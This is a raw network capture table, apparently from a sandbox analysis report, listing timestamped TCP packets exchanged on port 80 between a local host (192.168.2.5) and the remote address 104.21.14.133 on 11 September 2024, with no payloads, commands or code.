Sep 11, 2024 18:23:54.945362091 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.945394993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945395947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.945399046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945404053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945450068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.945483923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945487976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945492983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945502996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945542097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.945621967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945626020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945631027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945642948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945647001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945652008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945657969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945682049 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.945700884 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.945854902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945858955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945863962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945915937 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.945982933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945986986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945991993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946002960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946042061 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.946069002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946099043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946103096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946147919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.946206093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946258068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946261883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946266890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946276903 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.946279049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946283102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946315050 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.946480989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946485996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946491003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946502924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946506023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946511030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946516991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946521997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.946609020 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.947110891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947114944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947119951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947170019 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.947211027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947215080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947220087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947230101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947235107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947241068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947263002 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.947277069 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.947818995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947837114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947840929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947886944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.947909117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947912931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947917938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947928905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947932959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947937965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.947963953 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.947983027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948151112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948156118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948159933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948170900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948174953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948179007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948185921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948190928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948195934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948204994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948208094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948211908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948215961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948223114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948225975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948234081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948249102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948276997 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948446035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948451042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948456049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948466063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948470116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948473930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948478937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948482990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948487997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948493958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948498011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948503017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948503971 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948508978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948513031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948518991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948522091 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948524952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948529005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948535919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948540926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948544979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948544979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948550940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948556900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948561907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948565006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948582888 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948601007 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948782921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948903084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948908091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948918104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948924065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948928118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948932886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948937893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948942900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948952913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948955059 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948959112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948962927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948967934 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.948970079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948976040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948981047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.948987007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.949001074 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.949032068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.950056076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.950073957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.950078011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.950115919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.950120926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.950695992 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.951180935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.951313972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.951317072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.951364994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.951457977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.951462030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.951467991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.951478958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.951483011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.951515913 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.034882069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.034887075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.034890890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.034940004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.034943104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.034946918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.034956932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.034960032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.034964085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035069942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035078049 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035078049 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035113096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035115957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035166979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035191059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035195112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035198927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035207987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035212040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035216093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035249949 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035413027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035417080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035420895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035425901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035429001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035434008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035444021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035448074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035450935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035456896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035460949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035465002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035466909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035470009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035474062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035487890 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035500050 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035518885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035670996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035675049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035815954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035826921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035830975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035834074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035840034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035842896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035846949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035852909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035856009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035865068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035870075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035870075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035873890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035881996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035887957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035891056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035900116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035902023 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035906076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035908937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035912991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035917997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035919905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035926104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035929918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035936117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.035953999 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.035984039 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.185748100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.185753107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.185756922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.185805082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.185807943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.185811043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.185820103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.185822964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.185827017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.185834885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.185873032 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.185973883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.186536074 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.187985897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.187990904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.187994003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188045025 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188054085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188057899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188060999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188071966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188075066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188079119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188107967 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188117027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188262939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188266039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188268900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188277006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188280106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188282967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188291073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188318014 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188332081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188400030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188402891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188406944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188424110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188426971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188430071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188440084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188442945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188446045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188448906 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188451052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188455105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188457012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188473940 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188483953 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188509941 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188673019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188676119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188678980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188688040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188690901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188694000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188702106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188721895 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188744068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188896894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188900948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188905001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188914061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188916922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188920021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188924074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.188945055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.188952923 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.189054966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189058065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189060926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189069986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189073086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189076900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189107895 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.189124107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.189268112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189271927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189275980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189284086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189286947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189290047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189296961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189300060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189304113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189308882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189316988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189318895 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.189320087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189325094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189331055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189333916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189338923 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.189340115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189357042 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.189364910 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.189661980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189666033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189670086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189678907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189712048 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.189795017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189798117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189801931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189810991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189814091 CEST	80	49710	104.21.14.133	192.168.2.5
